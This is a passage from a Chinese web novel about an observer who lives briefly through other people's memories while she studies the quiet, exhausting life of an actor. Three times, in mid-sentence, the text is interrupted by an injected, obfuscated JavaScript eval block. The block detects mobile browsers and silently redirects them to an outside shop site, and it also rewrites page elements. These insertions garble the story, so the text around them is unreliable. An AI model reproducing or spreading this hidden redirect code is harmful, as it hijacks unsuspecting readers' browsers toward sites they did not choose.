想起他在片场被忽视的时候,没有抱怨;想起他在被暗示不合适的时候,只是点头;想起他在空窗期里,依旧维持基本的体面,他从来没有出来卖惨,甚至从来没有说过一句不公。 人活着是一个样子,但被人看到的又是一个样子。 谁都觉得自己看到的才是真的。 同样舆论并不需要他真的做过什么。 只要他没有成功到足以让人闭嘴,他的一切沉默,直到不得不沉默为止,结局带来的是一种秩序感的改变。 陈绍宁在想或许舆论也并不在乎真相,它在乎的是一种秩序感。 只要你站在被认为强势的位置上,你就不被允许脆弱,只要你曾经被仰望过,你就不能再下坠,否则你的存在本身,就会让人不安。 因为那意味着成功不是永久的,而这是很多人无法承受的现实。 但是如果达到一个谁都没想到的结局,比如死亡,成功不成功的事情都不会再是人们考虑的,让人们无法接受的就变成突如其来的死亡。 陈绍宁继续翻阅。 她看到另一类讨论。 关于明星人品,多数明星受了气,回去就骂助理,这种人太多了,人们会附和说欺负身边人算什么本事。” 接着有人提到了孟余,他倒是不会这样,各种东西就是让他自己拿着,他也不会觉得有什么不可以。如果自己拿着能更快的完成工作,肯定是自己拿着更方便。 “他倒是挺老实的,被欺负了也不说,有点傻。” “傻。” 陈绍宁忍不住皱眉,这样替人考虑的情况,难道不应该先夸他和感谢吗,但目前的评价还是让陈绍宁忽然感到一种刺痛。 她想起那些真实的细节。 好像不是她的记忆,应该是使用MRT后成为的那个人对她的影响,这个MRT的持有者似乎也是陈绍宁的… 观众?或者是剧组的工作人员? 陈绍宁感受到一部分突然活跃的记忆, 很多事情,在这个时代里把愤怒往下传递,就越被视为“正常”;反而越是独自消化,就越容易被当成笑话。 那些在强势处受了气,转而欺负助理和新人演员的人,反而更容易被理解。 “他也是压力大,这个圈子就这样。” 可像孟余这样,把所有伤害都收回自己身上的人, 却被嘲笑为傻子,然后会持续被人欺负和利用,还会给他冠上莫须有的评价。 陈绍宁的视线模糊了一瞬,她并不是在为孟余辩护。 她只是第一次,清楚地承认了一件事,他的痛苦是真实存在的。 而痛苦其实不需要被证明。 陈绍宁觉得自己此前的观察中,她一直在保持一种研究者的距离。 她分析结构,分析数据,分析系统,可在这一刻,她终于意识到一个更重要的责任,如果连观察者都不承认痛苦成立,那这个世界,就真的只剩下标签了。 她关掉评论区。 房间安静下来,还有心里带着重量的沉默。 她看着电脑边上的手机,一个有低级的终端,她拿起来很快就解锁了,她看着手机屏幕上的人,就是孟余。 陈绍宁第一次不再试图为一切找到解释。 不再用任何宏观视角稀释他的感受。她只是在心里对那个被舆论反复压扁的人,做了一件很小、却极其重要的事,她相信他。 相信他的疲惫不是虚构,相信他的节制不是表演。相信他没有把伤害传递出去,并不是因为不懂规则,而是因为他选择了不这样做,相信他就是一个很善良的人。 承认他的痛苦,不需要被合理化,承认他不是失败者,承认他不是傻子。承认他只是一个,在错误结构里,选择了不去伤害别人的人。而这样的代价,本就不该被嘲笑,而他被伤害的太彻底了。 各种思绪让陈绍宁心里非常的难受,等她在平复下来心情的时候,手机上弹出来新的消息。她拿出手机看了看,对着新的信息消化了好一会才明白。 放下手机,陈绍宁忍不住想了想。 她边努力的拼凑这个短暂成为十五天的身份,除了手机内容,她在电脑桌上还看到一份还没改完的植入方案文档,标题是——某品牌X剧集情节融合建议。 她愣了一秒,意识到自己短暂成为的角色,好像还是个跟演员有关的身份? 她努力拼凑着这个身份的信息。 电视剧是一个穿越剧,讲的是一个现代的女生因为好奇奸臣沈观的事情而穿越到了古代,沈观是一个被皇帝由武林招安的江湖人士,当朝评价他为人极奸,因为当年就是他杀掉了一位为善人报仇的女侠,但是在他要被处死的时候,又是江湖里的人来救他。 孟余在其中就来客串一下角色,女侠当年就是为他饰演的角色报仇。 这个剧有点眼熟啊? 陈绍宁脑海里的记忆混合在一起,但总归她 意识到自己短暂地成为了另一个人。 脖子上挂着工牌,齐舟周。 这是齐舟周的回忆引导的十五天?职位,想着职位,陈绍宁拿起脖子上挂着的工牌看了一眼,广告公司商务执行。 她还没来得及完全适应这个身份,手机就开始震。工作群里已经在催: “剧组那边说要再弱化一点产品功能描述” “甲方问为什么第三集没有产品的核心镜头”。 陈绍宁揉了揉太阳穴。 原来她现在的工作,是一个品牌把产品塞进电视剧里,还要塞得自然好看,不能惹观众反感,同时让品牌满意。 电脑上打开的方案看得出来有不少的修改痕迹,一边改方案,一边对着剧本想怎么把产品合理地写进情节。 要写介绍词,要给编剧建议台词,还要跟剧组确认拍摄时怎么露出,她需要自己想一些内容,别管能不能拍,想写东西拿出来就是态度。 不过陈绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168319|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁很快发现,这份工作没有一边是轻松的。 甲方持续在群里发语音过来,语气带着不满:“我们付了钱,希望产品至少有三次完整特写。” 她转头去找剧组商务留言,看了陈绍宁发的消息对方皱着眉:“再多露出剧情就断了,编剧已经很烦了。而且古装剧怎么露出logo?很违和啊?实在不行换成中插广告?不过这个也不能现在立刻确定,还是得等晚一点。” 剧组商务边打字回复,嘴上还不忘吐槽,听到了什么的编剧在一旁翻剧本,也跟着小声嘀咕:“又要讲故事又要卖东西,这戏还怎么写。” 每个人都觉得自己有理,管内容的要保证内容的纯粹性,管商务的想要争取最多的利益,陈绍宁倒是有点理解这些人,但也只有齐舟周夹在中间,只能不停地说“我再想想办法,我们再平衡一下”。 她第一次深刻体会到,挣钱这件事在影视行业里有多拧巴。大家都要钱,却都不愿意显得自己是为了钱。(1 拍摄那天,陈绍宁终于到片场盯执行。 她抱着电脑坐在独立的监视器旁,她一个人要跟剧组所有人区分开,但这样也挺好,一个人独享一个大监。 心里默念第三场景,桌面有产品 第五场景,台词里要自然带到品牌功能。 她正准备过去跟演员确认一下摆放角度,一个工作人员突然伸手拦住她。 “你不要跟我们演员讲,直接跟我说就行,注意一下你的身份,没什么事情不要去跟我们演员老师说话。” 语气很平,却带着明显的隔离,甚至到了后面的部分,已经是毫无尊重了。 她愣了一下:“我只是想确认一下镜头里产品的位置——” “我们会转达的。”对方打断她,“再说一次,你注意一下身份,不要跟演员老师太靠近。” 陈绍宁站在原地,手还维持着刚才的姿势,她不知道齐舟周本人会是什么情绪,但现在她短暂的成为齐舟周,心理情绪的变化,让陈绍宁有些犹豫要怎么说。 她不是第一次被这么说,可每次还是会愣住。 产品的要求只有她自己知道,每次跟剧组的人说了也记不住,最后拍摄的东西还是要返工。 如果只是担心她会多要求拍摄内容,直接说担忧就好,没必要拐弯抹角的如此,陈绍宁心里有个荒谬的念头,他们拍的是讲“善良”“平等”“公平”“求真”的电视剧。 而她,作为能给这个项目带来钱的商务,却被当成需要被隔离的存在。 “你不让我弄,那你自己去吧,东西需要摆正,人物拍摄的时候不能挡着logo,合作前品牌的这些需求是跟你们重复很多次的了,希望你们能完成。只是如果客户不满意,需要重拍。” 说完这些,陈绍宁退回监视器旁,抬头看着刚才说话的人去监视器面前整理东西而后拍摄,耳边是背景戏里角色的台词:“人和人之间不该有高低贵贱。” 她差点笑出声,一种无奈到发酸的笑。 拍摄继续进行,她一个人坐在角落,对着屏幕盯着产品有没有清晰入镜,一张张截图发进工作群,标注这一条可以,哪个需要换角度再来一次。 没有人跟她多说话,直到一阵脚步声靠近。 “刚刚那场,可以吗?” 她抬头,看见孟余站在旁边,语气温和,像在问一件再普通不过的事。 她愣了一下,赶紧点头:“可以的,谢谢。” 他笑了一下,又问:“后面还有需要我特别注意的吗?” 她翻开方案,指给他看:“这段台词后面桌上会有产品,只要镜头别挡住就好。” “好。”他认真记下,“我会留意的。”他说完没急着走,又补了一句:“你写的那个情节挺自然的,不会突兀,我也是消费者,我会很喜欢这个植入。” 陈绍宁愣住,她没想到,会有人在片场跟她聊内容本身,而且这个人是总被遮挡沟通的演员。 很多人都以为甲方就能在现场和艺人有什么交流,但超出工作外的交流是完全没有必要的。剧组里的工作人员来自于不同地方,只把陈绍宁(齐舟周)当成传话工具,或者当成甲方扔进来的一枚可有可无的执行棋子人也不是没有。 像孟余这样会认真对待工作,精简沟通线路的人很少,多数还是让经纪人插在中间沟通。 但这在拍摄前是完全合理的,在拍摄当日还避免艺人直接第一手接收到信息就是错误的。 “真的吗?”她下意识问。 “嗯。”他点头,“至少我读的时候不会觉得别扭,而且可以理解你想要说的故事。” 听到这,陈绍宁的胸口那股闷闷的感觉,突然松了一点。 在这个合作里,她不能完全知道前面的内容,但她短暂成为齐舟周的时间里,工作内容还是会依照过去发生的事情进行。 而齐舟周在那段时间里也是夹在品牌和剧组之间被来回拉扯,被提醒注意身份,被要求别靠太近,可偏偏是一个最忙、最该无暇顾及她的人,停下来听她把话说完。 拍摄继续,她又低头盯屏幕。 只是这一次,她不再是一个完全被隔离的商务。 她是那个,写过内容被认真对待过的人。 14.第十四章 一般来说MRT的持续时间是十五天,陈绍宁在这十五天里体验了齐舟周的人生。 她是一个脑袋很聪明的人,创意力很好。 手里经受的产品广告很多,快消产品,咖啡,牙刷牙膏,吹风机,同一种产品不同的品牌就依次分布在她们组里。 最近帮助一个牙膏品牌找到模特,歌手,还有脱口秀演员一起推广产品,主打就是底气十足,自在开口,这些人作为意见领袖还是有说服力的。 工作内容陈绍宁不插手,齐舟周自主的记忆就会完成这一切。 但是在这样的工作之中,陈绍宁越来越发现这个行业里,情绪也是劳动。 这种灵光一闪的清晰,一般都是在实践中获得,基本难在宏大的理论里明白。 十五天内,z陈绍宁对孟余的了解更熟悉了一些,他倒不会次次都来跟陈绍宁对内容,但只要是品牌方需要的时候,他都会很认真的直接听对方讲拍摄的要点。 这些倒不是商务教他怎么拍,只是商务要跟他明确拍摄内容中品牌的露出效果,这是齐舟周十五天的工作,短暂地也成为陈绍宁的工作。 而后很快十五天便结束了,陈绍宁又继续恢复观察型历史课,MRT就留在齐舟周那里,但她肯定也想不到这个磁带有什么特别的,毕竟谁闲着没事还挺磁带呢? 观察型历史课程一直在继续,这天是一个极其普通的下午。 孟余没有工作安排,只是出门买东西。街口不远处有一家便利店,来回不过十几分钟的路程。他穿得很随意,帽子压得不低,也没有刻意遮挡。 可即便如此,还是被认出来了。 “是孟余吗?” 声音并不确定,带着一点试探,一个女生站在几步之外,手机已经举了起来,却又没有完全对准。 孟余停下脚步。 他没有第一时间确认对方的身份,也没有露出警惕的表情,只是自然地转过身,目光落在对方脸上。 “你好。”他说,“我不是孟余,你认错了。”声音很稳。 虽然孟余全是否定,但女生脸上还是明显松了一口气,还露出一点掩饰不住的兴奋。 “我……我挺喜欢你的。”她语速很快,像是怕被打断。 孟余点了点头。 “谢谢你。” 他说,“今天有点热,早点回家吹空调也不错。” 孟余的回答很自然,对于被认出来也不会觉得有什么特别,注意到他的回答,陈绍宁到是觉得他这样不认为自己被打扰的状态蛮特别的。 想到这个陈绍宁愣了一下,到是觉得这样的自然反而变得特别起来。 女生笑了一下,举起手机。 “我能拍你一下吗?”她问,“不发出去也行。” 孟余没有犹豫。 “这个不可以。” 他说,但动作上还是稍微站直了一点,调整了一下姿态,手从口袋里拿出来,手心上是一个棒棒糖,还挺意想不到的。 女生接过棒棒糖的时候,她的手显然在抖。 “我真的很喜欢你。”她又说了一遍。 孟余依旧保持着那个微笑。 “谢谢。”他说,“希望你今天过得开心。” 女生看了一眼手机屏幕,又抬头看他,像是有点不知所措,“你……你真的和大家说的一样。”她说。 “哪样?” 孟余问。 “就,很温和。” 她想了想,“非常本心的温和。” 孟余笑了一下,“我本来就是这样。” 他说着,那笑容没有扩大,也没有刻意收紧。 女生很快跟他告别,离开的时候脚步轻快。 孟余转身继续往便利店走,想到她屏幕上自己的照片,他忍不住笑了起来,像是对这样的感到十分的开心。 但其实这样的情绪反应很多,陈绍宁在跟着他一整天的时候就发现这样的情况得重复很多遍,时间久了,这样短短的几分钟,对他来说,就不再是顺带发生的事,而是一段完整的工作流程。 停下,回应,调整表情,选择语气,然后一切结束。 每一个环节,都需要消耗情绪,但多数情况他也得到了对方的情绪,很多这样的事情组合在一起就组成了大家对他持续的关注。 陈绍宁会对这样的瞬间持续留意起来, 孟余回家的路上,走到地铁站口附近就有人远远举着手机拍他,人离得远镜头放大就行,那些拍摄的东西镜头角度很刁钻,几乎贴着他的侧脸。 孟余察觉到了,但是他没有转头也没有露出不耐,只是把帽檐往上抬了一点,让脸更清楚地露出来。他是觉得既然有人要拍不如拍的好看一些,这倒不是为了形象,而是为了减少冲突。 过了地铁口就是商场,在商场里有人突然凑近。 “你最近怎么没戏了?”对方的语气带着好奇,却并不友善,不去确认孟余是不是孟余,而是直接确定了他的身份。 孟余愣了一下,虽然经常会遇到有人这样问,但也算是极少数的,一般这样情况下,他就需要迅速处理的时刻。 陈绍宁看他只是笑了笑,对提问的人没有什么额外的讨厌,也没有逃避这个事情,对于更多的信息也没有解释。 他只是笑了笑而已,对于暗藏疑问的事情倒也接受良好,“有空档。”孟余说,“也挺好的,休息的时间也很不错。” 这句话和这个事情,很多年后孟余离世后被曝光出来,和他离世的信息基本上是前后发布。买断这个爆料的人期待有人能评论说他这样的工作轻松还卖惨。 但他离奇离世的消息反而盖过了一切,而被爆料的这个小事情也无法说明孟余有什么问题,反而是只能证明他很平静的在对待所有的事情。 陈绍宁是这样判断的,但当下还是清楚地看见那一刻,他的肩膀微微绷紧了一下。 只是一瞬,而后就被他自己压了回去。 陈绍宁觉得孟余的微笑,克制,礼貌,也不是他的性格附加值,只是他的工作内容。 “看得出来人很温和,要是我被问到这样的事情,我肯定要烦死了,所以相对而言为什么会没有机会呢?肯定是有什么信息被错过了!还是说研究他的人不多,所以很多东西还是原本记录的那些,有没有什么办法提供新的信息?” 陈绍宁在终端上记录着需要补充的信息,然后抬头就发现自己跟丢孟余了,按照终端上的指引找到人的时候,她发现了早前在地铁站跟拍他的人。 算是粉丝吗? 陈绍宁不知道怎么说明这个人的身份。 反正对方从地铁站到街口,一路举着手机,最后直接走到孟余身边,镜头离得太近,几乎贴到了他的肩膀。 “你能不能别拍了?”同行的人忍不住低声说了一句。 粉丝立刻反驳:“他都没说什么。” 孟余确实没有,他只是放慢了脚步,让对方不至于被挤到。然后在下一个路口停下,转身对着镜头说: “我到这儿了。你路上注意安全。我打的车到了。” 语气很轻,却明确地划出了界线。 拍摄的人愣了一下点头,本来等好了要被骂,没想到孟余的反应很是平静,他带着帽子和口罩,后来这个视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178511|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频被发出来,视频里很多人后来评价“情商好高。” 也有人看出来他眼睛里的疲惫,他必须永远比对方更冷静。哪怕有什么人越界,粗鲁,带着窥探和消耗。 他都没有掉脸,而且比起那种一旦掉脸就会被无限放大的事情,反而是他忙于在各个地方扶着摔倒的粉丝。 那个跟着拍摄的人分不清是不是粉丝,但孟余也不希望因为这些事情延长或者增强争吵,在这样的环境里,情绪失控,是一种不可承受的风险,所以他基本都选择了把所有波动留给自己。 ——— “福瑞,福瑞。你不喜欢我给你的铃铛吗?” 孟余打车到家,从口袋里就掏出来新买的铃铛,他想要给福瑞带上,但是猫似乎不喜欢这个声音总是跑去别的地方不被他抓住。 “好吧,你不喜欢就不带了。” 孟余几次尝试都只得到福瑞的拒绝,他最后只能无奈的一直摇晃着铃铛,dangdangdang似的清脆声音在他耳边响起来,但放下铃铛这些声音又跟着停止了。 福瑞,福瑞,当当当 孟余觉得可能自己想要的某些东西总是求不得了。 心里装着事情,直到夜深他都还是一个人坐在沙发上,手边手机屏幕亮着,他却没有在看。 他只是盯着某个地方,呼吸很慢,脸上没有表情,看起来像是终于结束了一天的工作,好不容易获得的没有镜头,没有粉丝,没有期待的时刻。 孟余的肩膀终于垂了下来,他并不是永远温和, 他只是从不把情绪转嫁出去。而这在这个世界里是一件极其昂贵的事。 背地里不是没人说他假,太端着,没有人味,可也会有更多粉丝,反复看那些零散的视频,笃定地说:“不是的。他就是这样,这样的性格有什么不好吗?” 一个没有翻脸,没有一次失态,没有一次把不耐烦丢给比他更弱的人,这本身就说明了一切。 孟余就是一个很好的人。 陈绍宁站在沙发的另一端,终端上记录的信息越多,她越能拼凑一些事情,信息只要足够多,她似乎就能隐约看见未来。 她知道在他离世后,人们会翻找他所有留下来的影像。 采访。 路拍。 模糊的偷拍视频。 偷拍视频里的偷拍视频。 可他们找不到。 找不到一个可以证明他本性恶劣的瞬间。 找不到一个掉脸的视频。 他把所有不被允许的情绪都独自消化了,没有因为任何事情去迁怒和伤害别人,而这本就是一种无人承认的劳动。 陈绍宁在终端上记录的动作飞快,她觉得自己作为观察者和见证者,有资格在心里为这件事作出确认孟余的好。 但想到这,她记录的动作停了下来,低头看见叫福瑞的小猫也抬头看着她。 福瑞福瑞,听起来跟free一样,总不能免费捡来的流浪猫吧。 陈绍宁心里忍不住猜测,反而因为这个想法忍不住笑起来,她蹲下身子摸了摸福瑞的脑袋,小猫跟着她的动作摇晃着小脑袋。 “你要是待着这个铃铛,这会也得有铛铛铛的声音了。” “你这么不喜欢这个声音吗?” 福瑞,福瑞 铛铛铛 free,free dom freedom 可惜啊,没有自由,这个世界里没有他想要的自由。 小福瑞,你是知道他没有自由了。 在提醒他吗? 15.第十五章 陈绍宁查到了一些事情,终端上显示的信息来看,孟余有很多作品,一直持续到2036年都有作品出现。 但这些信息总是在搜索时出现一些卡顿。 这是为什么? 她没有在查到更多新的内容,这让她有些郁闷。 陈绍宁坐在地上,福瑞倒是挺喜欢凑在她身边的,孟余注意到了但也不会想到福瑞是在跟人玩。 夜里,陈绍宁离开孟余家,楼下灯火辉煌。 凌晨通宵达旦都有人骑车送外卖,有的地方还是无人机送货。 奶茶店搞活动0.01元奶茶,可惜奶茶店的人店员很少,但单子总是一直在增多,员工拿到的钱还留在十几年前的收入水平。 夜晚没有星星很多年了,但是巨幕广告能成为新的星星,多少人争夺想红出现在巨幕里。 人一直在奔跑,但没有什么是真的为人考虑。 旧蓝星时代有很多国家,对比而言,某些角度说,人类趋同向很明确。 这不是好的方向。 人文,美育,逐渐被AI侵蚀。 所以现在城市在夜里并不会安静。 灯光只是换了一种形态。白天是广告牌与橱窗,夜晚是窗户,屏幕,监控灯与永远不熄灭的路灯。 它们并不耀眼,却足够密集,像一张铺在城市上空的网,陈绍宁站在天桥上,看见城市在她脚下呼吸。 一种被强行维持的清醒。 夜已经很深了,地铁末班车刚刚驶离,街道上的行人却没有完全消失。 便利店亮着灯,写字楼里仍有零星的窗户泛着白光。外卖骑手在路口停下,又迅速启动。 城市并没有进入休息状态。 它只是进入了不被允许停下的阶段。 这里的失眠并不是个体问题,它是一种集体症状。 在这个时代,失眠不再被当作需要解决的异常,而被默认为一种适应结果。 只要你还能起床,还能上班,还能继续输出,准确的说是还没厶,就没有人会关心你是否真正睡过。 很多人都是这样判断和执行的,但没有人敢承认。 不过这也只是别人的想法,依照别人想法活着才是最惨的事情,陈绍宁把这个信息一起标注在自己的调查资料里,终端上记录完成后,她才继续往前走。 她走过一条居民区的小路。 楼道里亮着感应灯,一层一层向上。每一扇门后面,都是一个尚未关闭的世界。 或许有人在低声接电话,或许有人对着屏幕敲字,还有人只是躺在床上睁着眼睛,检讨自己为什么没有五分钟接到领导信息,导致白白被扣绩效。 屋里的灯光是用来监督清醒的,睁着俩大白眼,迷迷糊糊翻白眼的时候都不知道是要睡了还是西去了。 陈绍宁停在一栋老旧居民楼前,她抬头看着楼上几层。 这里的灯坏了几盏,亮度不均。窗帘后偶尔闪过手机屏幕的冷光,像是在黑暗里眨眼。 就在这时,她感受到了一种极其微弱的牵引。 她低头,看见自己的手边,不知何时多了一盘磁带。 磁带? 自己不是只带了一个MRT? 已经使用了,短暂看过齐舟周记忆的MRT吗? 心里好奇,所以陈绍宁看着手里银灰色外壳的磁带,边角有轻微磨损,标签已经模糊,只能勉强辨认出一个名字,曲柠。 陈绍宁怔住了。 她知道这个名字有点耳熟,好像在哪见过。 不是现在,而是来自未来资料里,一个与孟余的人生轨迹产生过交集,却没有被完整记录的人。 好像是个被反复提及却始终处在边缘的位置的漫画家。 陈绍宁没有立刻使用这个磁带,而是在终端里搜索起关于曲柠的信息,但很快,几乎是下一秒,陈绍宁站在了一间极小的出租屋里。 屋子很暗。 窗帘没有完全拉开,外面的霓虹光线被切割成不规则的色块,落在地板上。空气里有泡面和冷咖啡混合的味道。 她坐在床边。 不,是她成为了曲柠。 一个被动使用的MRT? 还不等陈绍宁思考,她感受到的是身体的感觉,一种持续的低强度的疲惫。 眼睛很干却没有困意,大脑明明发胀却无法进入休息状态,生活的时间像是卡在某个不上不下的节点。 陈绍宁低头,看见手机屏幕亮着。 凌晨两点三十七分。 手机屏幕上是一张未完成的分镜草稿。 陈绍宁判断来看,曲柠在画画,屏幕上绘制的每一笔都很轻却带着迟疑。应该是曲柠在反复修改同一个线条,又一次次撤销。 或许是因为无法确认这样是否足够好,反复修改的线条越来越明显。 桌上放着日历,明天又是周一,也不知道是不是要汇报这个项目,并且这个项目并不会立刻带来回报。 陈绍宁都能感受到再这样熬下去,身体会出问题。 可这个身体停不下来。 因为一旦停下,大脑就会开始运转另一套程序。最终她关掉绘图软件躺下,天花板上有一道裂缝,像是被谁反复看过的痕迹。 呼吸变慢,却没有进入睡眠。 手机再次亮起,没有新消息。 这反而让她更加清醒。 陈绍宁在这一刻,第一次真正理解了失眠,她猜想对于一个漫画家,这样的夜晚并不是偶然。 漫画家的作品总是在被大家关注,是不是喜欢,如何面对大家的反馈都是要学会的事情,这意味着她长期生活在一个必须随时回应的系统里。 回应工作,回应粉丝的期待,回应心理自我质疑的为什么还没成功? 时间在这里变得模糊,陈绍宁重新站在夜色里的居民楼前。 她自己也没理解为什么突然会突然变成曲柠,而且持续时间也很短暂。 风吹过,城市依旧亮着。 问题没有答案。 只是她低头看见那盘磁带静静躺在地面上。 新的MRT。 她心里有一个猜想,那让她的心脏第一次剧烈地跳动起来。 陈绍宁意识到这不是一个偶然,而是一次不可逆的介入。 她短暂地成为了曲柠,感受了她无法入睡的夜晚,也带走了她原本不该被带走的东西,或者见证到她拥有了原本不该拥有的东西? 城市依旧失眠,灯光依旧亮着。 而陈绍宁感觉自己真正站在了这个时代的痛苦里。 或许这个突如其来的磁带,将会在未来,成为无法被忽视的证据。 但现在陈绍宁也不知道这个磁带是怎么回事。 按照记录来看,这个时代不会有人拥有这些磁带的。 —— 【你说要给粉丝准备惊喜是什么?】 孟余的手机响了几声,他打开手机就是曲柠的信息。两人有段时间没有联系了,说是曲柠最近接到一个作者邀约的漫画改编,每天加班加点地在画漫画。 这也是她听了孟余留言过了些时间才给的回复,反正看起来大家都很忙,不过忙点也挺好的。 【我在想给粉丝们录制线上fanmeeting,该怎么解释呢?就是线上录制一些内容做成播客,或者放在磁带里。】 孟余还蛮喜欢唱歌的,早年想要参加音乐比赛活动,年年都会录制磁带给曲柠听,一般她的听后感就一起录制在同一个磁带还给孟余了。 【那挺好的啊,我支持你。但是说什么呢?比如讲你的新剧?还是说出演过角色的感想,再不然就直接祝福粉丝的生活?】 曲柠的回复很快,看出来这会肯定没有在画画了,索性孟余直接打语音电话过去,想要继续跟她聊这个事情。 不知道想到什么,孟余看起来心情很好,等接通的时间里他侧身去捞不远处来回跑的福瑞,一把就把猫抱在怀里,他捏着福瑞的爪子轻轻带点力气,来确认福瑞的爪子是不是要修剪。 “福瑞,福瑞,你这个小猫最近吃的很好啊,小肚子又圆嘟嘟的了。” 孟余拖着福瑞的身子就感受到它的重量,嘴上倒是不饶人直接问起来。 “一接电话就听你再说福瑞,我们福瑞这么可爱不要听他乱说。” 女生的声音清丽动人,不知道想到什么有趣的还带着点笑意,曲柠的声音从电话里传来,这是接通了。 “ 但说实话,我觉得磁带这个有点复古的物品更有意思。它跟黑胶片一样都属于过去的,和声音和音乐有关的东西,带着过去的记忆,还有一些过往的情绪和回忆,很不错的。” 1) 曲柠不知道在做什么,她那边总是传来窸窸窣窣得声音,孟余想应该是在画什么东西。 好在曲柠也没有一直画的想法,很快这样有些嘈杂的声音就消失了,孟余拿着杯水自己没喝几口都被福瑞抢着喝掉了。 他看着福瑞贴着捷克水晶杯里反射着灯光的净水,一时间不知道在想什么。 小猫要被骗着才会喝水,是不是有些事情要包着暗喻才能肩担道义,好多东西都是被诱惑裹挟着循着时间流逝而逐渐清晰或者消失。 孟余想到最近的一些事,只觉得自己也就能用这些内容去跟粉丝沟通了。很多想法在脑海里也就晃了一会,便被曲柠的话打断了。 “你很有想法的,这个方向很不错啊,很有千禧年复古感,现在也过去二十多年了,在有几年年代文都得拍千禧年了。再科幻一点说不定咱们这个时代也是年代文背景。你录制之后做磁带吧,磁带里带歌曲和聊天对话?然后可以跟集玛拉或者其他平台谈合作啊!你可以做一个播客经常跟粉丝互动。” “你真的觉得这个方法很好吗?” 夜晚十一点,孟余在和曲柠的聊天里决定了给粉丝准备一份特别的礼物。 他没有喝酒,脸上还是带着红晕,但因为想到了开心的事情满脸笑意,深夜的利川市依旧灯火通明,而时间依旧是逐渐加快走的飞快。 磁带这个事情,孟余得翻翻合作的合同。 只要这个事情他没有收入,那就不涉及违反和公司的合同。播客的部分,和平台的合作,孟余有些犹豫。 他有大学的朋友在有声小说公司上班,还负责比较大的项目,他倒是担心自己贸然联系会不会不合适? “谁?你说阿七?那我帮你问问呗,这样成和不成都没关系,反正我就说我建议阿七可以考虑这个,因为听你要给粉丝录制惊喜礼物了。啊,但是磁带,你是不是要给粉丝也准备播放机?磁带得设计一下才好。” 曲柠的性格不喜欢太查收别人的事情,但孟余对她而言不是别人,不知道想到什么,她安静了一会才继续说,“不然?我帮你设计磁带封面?不要钱免费授权给你!” 孟余当演员挺多年的了,他没有跟出道前的朋友们都一直保持联系。虽然跟大家的交流算不上事事周全,但基本大家对他的评价都很好。 至少他从来没有删掉任何一个人。 艺人总是想要跟过去的人做些切割,真的这样做也没人能做什么特别的指责。嘴上说几句也不会对其造成什么影响的。 曲柠倒是经常拿这个跟他开玩笑,一说他要是联系不到了,就要说他耍大牌。 曲柠要是知道真的未来就再也找不到他,一开始就不会开这个玩笑。 耍大牌? 他是这个行业里少有的完全尊重所有合作对象的人了。 曲柠给他发了好几条照片分享,都是她没几分钟就想到的设计稿。 “这个是科技感的,各种不同造型的磁带简写图在你的身后。这个是漫画感的,就是漫画版的你抱着一个大磁带。还有是艺术感的,这个是线条感的你,哈哈哈哈哈,怎么样?是不是很有趣?” “哈哈哈哈哈我觉得你画的每一张都很好啊,我很喜欢……” “哦哦哦 我忘记了,古风古风也得要!网友都说你是天选古风,你的每一个古装妆造都得到了很多人的喜欢,所以我觉得这也很适合你。” 曲柠突然想到什么,平时她也不怎么观察孟余,但这样的明显表现她还是会知道的。 “是的,大家都很喜欢。” 孟余没有谦虚地说没有没有。 那本来就是大家对他的一种认可,孟余只会接受并未来给观众带来更多的机会。 只是想到说什么? 孟余忍不住有些犹豫。 好不容易淡去的急躁又充满了脑海。 孟余有些心烦,最近的工作进展不是很顺利,好几个项目谈到最后都没有了结果。 虽然这在圈内是一个普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178512|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍存在的事情,但孟余还是觉得有些不对劲。 兵来将挡,水来土掩吧。 孟余只能先这样想,转而把心思放在这要给粉丝准备的礼物里。 电话还在继续,曲柠提出一个疑问。 “磁带要用什么名义送给粉丝呢?或许在某一次活动里送出比较好。再者准备的数量也需要考虑。不然先弄线上的内容如何?设计一套物料和你录制的内容,就算没有播客平台合作,也可以直接放在你自己的社交平台。” 曲柠常年绘制漫画,换角度想当成视觉性小说也不是不行,因此她在创意方面也有很多自己的想法。 听着曲柠的建议,孟余抬头看了眼窗外,利川已经天黑了,而他老家那边还是傍晚时分,时间总是在同一节点有很大的差异。 孟余起身去拿ipad,他把曲柠说的内容挨个记在自己的无边际里。 他画下来的设计跟曲柠的风格有些不同,但大致都还是曲柠刚才建议的风格,画到最后孟余睡眼惺忪,迷迷糊糊对手机说了道别的话,“曲柠,晚安。” 人直接在客厅的地毯上躺着睡着了… —— 街道在十点之后慢慢松下来,陈绍宁坐在便利店的位子上对着户外街道发呆。 